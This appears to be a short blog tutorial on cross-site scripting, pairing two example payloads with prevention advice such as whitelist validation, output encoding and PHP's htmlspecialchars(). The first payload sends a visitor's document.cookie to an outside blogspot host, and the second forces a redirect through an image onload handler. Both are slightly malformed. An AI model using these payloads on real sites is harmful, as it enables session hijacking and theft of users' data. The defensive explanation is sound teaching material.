Cross Site Scripting Attack Prevetion

Cross Site Scripting Attack

In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim.

A basic example of XSS is when a malicious user injects a script in a legitimate shopping site URL which in turn redirects a user to a fake but identical page. The malicious page would run a script to capture the cookie of the user browsing the shopping site, and that cookie gets sent to the malicious user who can now hijack the legitimate user’s session. Although no real hack has been performed against the shopping site, XSS has still exploited a scripting weakness in the page to snare a user and take command of his session. A trick which often is used to make malicious URLs less obvious is to have the XSS part of the URL encoded in HEX (or other encoding methods). This will look harmless to the user who recognizes the URL he is familiar with, and simply disregards and following ‘tricked’ code which would be encoded and therefore inconspicuous.

Exploited XSS is commonly used to achieve the following malicious results:

• Identity theft
• Accessing sensitive or restricted information
• Gaining free access to otherwise paid for content
• Spying on user’s web browsing habits
• Altering browser functionality
• Public defamation of an individual or corporation
• Web application defacement
• Denial of Service attacks

Cross Site Scripting Examples

1.<script>

document.write('<script src=" http://phpmysqlportals.blogspot.com /get_cookies?cookies=' + document.cookie + '"></script>');

</script>

The problem is that cookies are often used as session identifiers of logged users. If somebody steals the cookies that your browser uses to access a domain, that person can access the same site on your behalf and abuse from the privileges that you have.

Depending on what each site provides, the consequences can be catastrophic. Imagine if you are accessing an e-commerce site that stores information about your credit card and displays it in your profile pages. An attacker may steal that information and cause you financial losses.

2. It will go to my site <img src=”http://google.com/images/logo.gif” onload=”window.location= http://phpmysqlportals.blogspot.com ’” />

The best protection for XSS is a combination of "whitelist" validation of all incoming data and appropriate encoding of all output data. Validation allows the detection of attacks, and encoding prevents any successful script injection from running in the browser.
Preventing XSS across an entire application requires a consistent architectural approach:
• Input validation. Use a standard input validation mechanism to validate all input data for length, type, syntax, and business rules before accepting the data to be displayed or stored. Use an "accept known good" validation strategy. Reject invalid input rather than attempting to sanitize potentially hostile data. Do not forget that error messages might also include invalid data.
• Strong output encoding. Ensure that all user-supplied data is appropriately entity encoded (either HTML or XML depending on the output mechanism) before rendering, taking the approach to encode all characters other than a very limited subset. This is the approach of the Microsoft Anti-XSS library, and the forthcoming OWASP PHP Anti-XSS library. Also, set the character encodings for each page you output, which will reduce exposure to some variants.
• Specify the output encoding (such as ISO 8859-1 or UTF 8). Do not allow the attacker to choose this for your users.
• Do not use "blacklist" validation to detect XSS in input or to encode output. Searching for and replacing just a few characters ("<" ">" and other similar characters or phrases such as “script”) is weak and has been attacked successfully. Even an unchecked “” tag is unsafe in some contexts. XSS has a surprising number of variants that make it easy to bypass blacklist validation.
• Watch out for canonicalization errors. Inputs must be decoded and canonicalized to the application’s current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.
• Filter HTML code to remove any JavaScript.

PHP:

Use htmlspecialchars() to print contents.